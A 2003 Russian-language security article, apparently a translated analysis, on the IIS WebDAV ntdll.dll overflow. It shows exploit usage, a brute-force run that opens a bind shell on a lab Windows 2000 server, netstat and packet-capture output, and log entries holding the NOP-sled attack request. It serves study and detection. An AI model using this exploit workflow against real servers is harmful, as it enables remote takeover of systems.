HackZona.Ru - Территория Взлома

Название: Анализ ntdll.dll эксплоита для WebDAV
Раздел: Безопасность в Интернете. Дата: 11.07.2003

Эксплоит для NTDLL.DLL впервые был опробован на военном(military) сервере 17 марта сего года. Это было первое зарегистрированное использование "неопубликованного" эксплоита; Bugtraq лишь отчитался о ставшей известной уязвимости и о существующем эксплоите для неё. Это был случай, когда "незарелизенный" или "zero-day" эксплоит был использован для взлома до его публикации широким массам.

За серьезной проблемой в Microsoft’s Internet Information Server (IIS) фактически стояла уязвимость в NTDLL.DLL, динамической библиотеке Windows, используемой всеми версиями Windows 2000, библиотеке, отвечающей непосредственно за работу с ядром системы. IIS web server - одно из множества приложений Windows 2000, использующих библиотеку NTDLL.

WebDAV расшифровывается как “Web-based Distributed Authoring and Versioning". И является расширением HTTP протокола, позволяющим пользователям безопасно редактировать и управлять файлами на удаленном веб-сервере [wbdvorg].

После публикации в bugtraq`e, CERT дал описание уязвимости и линк на патч от Microsoft. Windows 2000 предоставляет поддержку протокола WebDAV, который используется по умолчанию веб сервером IIS. Пользователь, пославший специально сформированный HTTP запрос на машину под IIS`ом, может удаленно выполнять команды на сервере, в контексте IIS сервиса.
MS классифицировала эту уязвимость как Critical.

Advisories and Vendor Information:
----------------------------------
Microsoft Security Bulletin: Unchecked Buffer In
Windows Component Could Cause Web Server
Compromise (815021) [ms03]

CERT Advisory CA-2003-09: Buffer overflow in Core
Microsoft Windows DLL [cert200309]

CVE (CAN-2003-0109) [can20030109]







RS_IIS.C:
---------



Во вторник, 25.03.03, Roman Medina из Roman Soft Reseach Lab, опубликовал первый работающий эксплоит под Unix-системы для IIS Webdav. 2 Дня спустя 27.03.03, Roman Medina представил bash sсript для автоматизации брут-форсинга RET адреса (адреса возврата), нужного для успешной работы эксплоита. Далее здесь будут использоваться обе эти программы.

rs_iis.c [rmed]

Версия, которая использовалась для анализа - эксплоит, размещенный 25 марта на Security Focus Bugtraq mailing list, первая публичная версия под unix платформы.

Всё тестировалось на следующих системах:

192.168.136.72 - Windows 2000 Advanced Server ("жертва"). Использовались настройки по-умолчанию для IIS 5.0.
192.168.136.250 – Redhat 8.0 ("атакующий")

Если запустить эксплоит без параметров, мы увидим следующее:



[loki@fatelabs loki]$ ./rs_iis

IIS 5.0 WebDAV Exploit by RoMaNSoFt .
23/03/2003
Usage: ./rs_iis
[target port] [bind port] [ret]
E.g 1: ./rs_iis victim.com
E.g 2: ./rs_iis victim.com 80 31337 0x4804



Поскольку атакующий должен брутфорсить правильный адрес возврата(RET адреса), указывающий на наш шеллкод, IIS будет "падать" раньше, чем шелл будет забинден на определенный(указанный нами) порт, что вызвано тривиальным DoS`ом процесса IIS.

Скрипт rs_brute.sh от Roman`a, используется для определения адреса возврата, который будет указывать на шеллкод в памяти, шелл непосредственно будет биндеться на 31337 порт из командной строки(параметр [bind port]). После 199 попыток, RET адрес был успешно вычислен:

Trying with RET=0xc8c8
[*] Resolving hostname ...
[*] Attacking port 80 at 192.168.136.72 (EIP = 0x00c800c8)...
[*] Now open another console/shell and try to connect (telnet)
to victim port 31337...
[*] Server is vulnerable but the exploit failed!
Change RET value (e.g. 0xce04) and try again (when IIS is up again) :-/
Waiting for 20 seconds...

Trying with RET=0xc9c9
[*] Resolving hostname ...
[*] Attacking port 80 at 192.168.136.72 (EIP = 0x00c900c9)...
[*] Now open another console/shell and try to connect (telnet)
to victim port 31337...


[loki@localhost ~loki]# telnet 192.168.136.72 80
Trying 192.168.136.72...

[loki@localhost ~loki]# telnet 192.168.136.72 31337
Trying 192.168.136.72...
Connected to 192.168.136.72 (192.168.136.72).
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:WINNTsystem32>
C:WINNTsystem32>cd

C:>dir
Volume in drive C has no label.
Volume Serial Number is 684C-70EA

Directory of C:

01/29/2003 03:14p Documents and Settings
01/29/2003 03:06p Inetpub
01/29/2003 03:07p Program Files
03/24/2003 04:54p WINNT
0 File(s) 0 bytes
4 Dir(s) 34,364,735,488 bytes free



Как вы можете видеть, в отличие от недавней Unicode уязвимости, здесь мы имеем полностью интерактивный шелл на удаленной машине, позволяющий нам выполнять и видеть результат выполнения команд, которые мы посылаем нашей жертве. Есть возможность копировать cmd.exe, удалять и создавать файлы, а также другие права Администратора.

netstat –an показывает открытые порты на машине в виде диаграммы. Поскольку мы знаем, что эксплоит создаст новое TCP соединение на 31337 порту, посмотрим лишь на TCP порты.

------------------------------------------

H:>netstat -an

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1042 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1051 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1052 0.0.0.0:0 LISTENING
.......
TCP 0.0.0.0:4105 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7774 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9990 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9991 0.0.0.0:0 LISTENING

------------------------------------------


После успешного срабатывания эксплоита: Видим новый сервис, слушающий 31337 порт.

------------------------------------------
H:>netstat -an

Active Connections

Proto Local Address Foreign Address State

TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:443 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1042 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1051 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1052 0.0.0.0:0 LISTENING
.......
TCP 0.0.0.0:4105 0.0.0.0:0 LISTENING
TCP 0.0.0.0:7774 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9990 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9991 0.0.0.0:0 LISTENING
TCP 0.0.0.0:31337 0.0.0.0:0 LISTENING 53 TCP C:WINNTSystem32dns.exe
1388 inetinfo -> 80 TCP C:WINNTSystem32inetsrvinetinfo.exe
268 lsass -> 88 TCP C:WINNTsystem32lsass.exe
480 svchost -> 135 TCP C:WINNTsystem32svchost.exe
8 System -> 139 TCP
268 lsass -> 389 TCP C:WINNTsystem32lsass.exe
1388 inetinfo -> 443 TCP C:WINNTSystem32inetsrvinetinfo.exe
8 System -> 445 TCP
268 lsass -> 464 TCP C:WINNTsystem32lsass.exe
480 svchost -> 593 TCP C:WINNTsystem32svchost.exe
268 lsass -> 636 TCP C:WINNTsystem32lsass.exe
268 lsass -> 1026 TCP C:WINNTsystem32lsass.exe
268 lsass -> 1029 TCP C:WINNTsystem32lsass.exe
156 msdtc -> 1046 TCP C:WINNTSystem32msdtc.exe
808 Dfssvc -> 1048 TCP C:WINNTsystem32Dfssvc.exe
872 ismserv -> 1050 TCP C:WINNTSystem32ismserv.exe
872 ismserv -> 1051 TCP C:WINNTSystem32ismserv.exe
872 ismserv -> 1052 TCP C:WINNTSystem32ismserv.exe
872 ismserv -> 1053 TCP C:WINNTSystem32ismserv.exe
1056 MSTask -> 1056 TCP C:WINNTsystem32MSTask.exe
1152 dns -> 1060 TCP C:WINNTSystem32dns.exe
256 services -> 1062 TCP C:WINNTsystem32services.exe
256 services -> 1063 TCP C:WINNTsystem32services.exe
1152 dns -> 1065 TCP C:WINNTSystem32dns.exe
928 ntfrs -> 1080 TCP C:WINNTsystem32 tfrs.exe
828 tcpsvcs -> 1085 TCP C:WINNTSystem32 cpsvcs.exe
928 ntfrs -> 1112 TCP C:WINNTsystem32 tfrs.exe
928 ntfrs -> 1114 TCP C:WINNTsystem32 tfrs.exe
1812 mmc -> 1121 TCP C:WINNTsystem32mmc.exe
8 System -> 1179 TCP
268 lsass -> 1355 TCP C:WINNTsystem32lsass.exe
828 tcpsvcs -> 1856 TCP C:WINNTSystem32 cpsvcs.exe
1388 inetinfo -> 2082 TCP C:WINNTSystem32inetsrvinetinfo.exe
268 lsass -> 3268 TCP C:WINNTsystem32lsass.exe
268 lsass -> 3269 TCP C:WINNTsystem32lsass.exe
156 msdtc -> 3372 TCP C:WINNTSystem32msdtc.exe
364 termsrv -> 3389 TCP C:WINNTSystem32 ermsrv.exe
1388 inetinfo -> 9860 TCP C:WINNTSystem32inetsrvinetinfo.exe
1388 inetinfo -> 31337 TCP C:WINNTSystem32inetsrvinetinfo.exe


Frame 6433 (340 on wire, 340 captured)
Arrival Time: Mar 27, 2003 16:38:59.746071000
Time delta from previous packet: 0.187537000 seconds
Time relative to first packet: 1926.078012000 seconds
Frame Number: 6433
Packet Length: 340 bytes
Capture Length: 340 bytes
Ethernet II
Destination: 00:d0:59:d8:6b:c5 (AMBIT_d8:6b:c5)
Source: 00:08:02:b3:65:26 (Compaq_b3:65:26)
Type: IP (0x0800)
Internet Protocol, Src Addr: 192.168.136.72 (192.168.136.72),
Dst Addr: 192.168.136.250 (192.168.136.250)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 326
Identification: 0x4ad8
Flags: 0x04
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 128
Protocol: TCP (0x06)
Header checksum: 0x893b (correct)
Source: 192.168.136.72 (192.168.136.72)
Destination: 192.168.136.250 (192.168.136.250)
Transmission Control Protocol, Src Port: 31337 (31337), Dst Port: 32963 (32963),
Seq: 1886281084, Ack: 1149502167, Len: 274
Source port: 31337 (31337)
Destination port: 32963 (32963)
Sequence number: 1886281084
Next sequence number: 1886281358
Acknowledgement number: 1149502167
Header length: 32 bytes
Flags: 0x0018 (PSH, ACK)
0... .... = Congestion Window Reduced (CWR): Not set
.0.. .... = ECN-Echo: Not set
..0. .... = Urgent: Not set
...1 .... = Acknowledgment: Set
.... 1... = Push: Set
.... .0.. = Reset: Not set
.... ..0. = Syn: Not set
.... ...0 = Fin: Not set
Window size: 17449
Checksum: 0x4482 (correct)
Options: (12 bytes)
NOP
NOP
Time stamp: tsval 62864, tsecr 640023
Data (274 bytes)

0000 00 d0 59 d8 6b c5 00 08 02 b3 65 26 08 00 45 00 ..Y.k.....e&..E.
0010 01 46 4a d8 40 00 80 06 89 3b 0a 2e 88 48 0a 2e .FJ.@....;...H..
0020 88 fa 7a 69 80 c3 70 6e 5d 7c 44 84 02 d7 80 18 ..zi..pn]|D.....
0030 44 29 44 82 00 00 01 01 08 0a 00 00 f5 90 00 09 D)D.............
0040 c4 17 20 56 6f 6c 75 6d 65 20 69 6e 20 64 72 69 .. Volume in dri
0050 76 65 20 43 20 68 61 73 20 6e 6f 20 6c 61 62 65 ve C has no labe
0060 6c 2e 0d 0a 20 56 6f 6c 75 6d 65 20 53 65 72 69 l... Volume Seri
0070 61 6c 20 4e 75 6d 62 65 72 20 69 73 20 36 38 34 al Number is 684
0080 43 2d 37 30 45 41 0d 0a 0d 0a 20 44 69 72 65 63 C-70EA.... Direc
0090 74 6f 72 79 20 6f 66 20 43 3a 5c 57 49 4e 4e 54 tory of C:WINNT
00a0 5c 73 79 73 74 65 6d 33 32 0d 0a 0d 0a 30 35 2f system32....05/
00b0 30 34 2f 32 30 30 31 20 20 31 32 3a 30 35 70 20 04/2001 12:05p
00c0 20 20 20 20 20 20 20 20 20 20 20 20 32 33 36 2c 236,
00d0 33 30 34 20 43 4d 44 2e 45 58 45 0d 0a 20 20 20 304 CMD.EXE..
00e0 20 20 20 20 20 20 20 20 20 20 20 20 31 20 46 69 1 Fi
00f0 6c 65 28 73 29 20 20 20 20 20 20 20 20 32 33 36 le(s) 236
0100 2c 33 30 34 20 62 79 74 65 73 0d 0a 20 20 20 20 ,304 bytes..
0110 20 20 20 20 20 20 20 20 20 20 20 30 20 44 69 72 0 Dir
0120 28 73 29 20 20 33 34 2c 33 36 34 2c 37 32 33 2c (s) 34,364,723,
0130 32 30 30 20 62 79 74 65 73 20 66 72 65 65 0d 0a 200 bytes free..
0140 0d 0a 43 3a 5c 57 49 4e 4e 54 5c 73 79 73 74 65 ..C:WINNTsyste
0150 6d 33 32 3e m32>


------------------------------------------








Анализ лог файлов:
------------------

Windows IIS Log:

#Software: Microsoft Internet Services 5.0
#Version: 1.0
#Date: 2003-03-24 15:09:27
#Fields: time c-ip cs-method cs-uri- stem sc-status
23:33:24 127.0.0.1 SEARCH / 411
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:33:47
#Fields: time c-ip cs-method cs-uri- stem sc-status 23:33:47 127.0.0.1
SEARCH / 411 #Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:33:50
#Fields: time c-ip cs-method cs-uri- stem sc-status 23:33:50 127.0.0.1
SEARCH / 411 #Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:33:55
#Fields: time c-ip cs-method cs-uri- stem sc-status 23:33:55 127.0.0.1
SEARCH / 411 #Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2003-03-24 23:34:02
#Fields: time c-ip cs-method cs-uri- stem sc-status 23:34:02 127.0.0.1
SEARCH / 411 #Software: Microsoft Internet Information Services 5.0




Apache Log:

Администраторы Apache под UNIX будут видеть в логах следующие ошибки: (по умолчанию файл: /usr/local/apache/logs/access_log).
Данная уязвимость не действует под Unix.


######### Apache ACCESS_LOG ##########
192.168.0.1 - - [25/Mar/2003:20:29:53 -0600]
"SEARCH /x90x04Hx04H
x04Hx04Hx04Hx04Hx04Hx04Hx04Hx04
Hx04Hx04Hx04Hx04Hx04Hx04Hx04Hx0
4Hx04Hx04Hx04Hx04Hx04Hx04Hx04Hx
04Hx04Hx04Hx04Hx04Hx04Hx04Hx04H
x04Hx04Hx04Hx04Hx04Hx04Hx04Hx04H
x04Hx04Hx04Hx04Hx04Hx04Hx04Hx04
Hx04Hx04Hx04Hx04Hx04Hx04Hx04Hx0
4Hx04Hx04Hx04Hx04Hx04Hx04Hx04Hx
04Hx04Hx04Hx04Hx04Hx04Hx04Hx04H
x04Hx04Hx04Hx04Hx04Hx04Hx04Hx04H
x90x90x90x90x90x90x90x90x90x9
0x90x90x90x90x90x90x90x90x90x
90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x9
0x90x90x90x90x90x90x90x90x90x
90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x9
0x90x90x90x90x90x90x90x90x90x
90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x90
x90x90x90x90x90x90x90x90x90x9
0x90








Ссылки на полезные ресурсы:
---------------------------


[wbvdorg] WebDAV Resources Web Site
http://www.WebDAV.org

[bid7611] Bugtraq ID 7611
http://www.securityfocusonline.com/bid/7116

[cert200309] CERT Coordination Center: Advisory CA-2003-09 Buffer Overflow in Core Microsoft Windows DLL
http://www.cert.org/advisories/CA-2003-09.html

[ms03] Microsoft Security Bulletin MS03-007
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms03-007.asp

[can20030109] Common Vulnerabilities and Exposures (CVE)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0109

[ntdll] Applications that use NTDLL.DLL Windows 2000 Dynamic Link Library
http://www.bugtoaster.com/dw15/Reports/ApplicationDetail.asp?Company=Microsoft+Corporation&BaseName=ntdll.dll

[rmed] Roman Medina’s Webdav IIS Exploit (Unix Version)
http://www.rs-labs.com/exploitsntools/rs_iis.c

[found] Foundstone: Fport
http://www.foundstone.com




Eric Hines


Адрес Статьи: http://www.hackzona.ru/hz.php?name=News&file=article&sid=378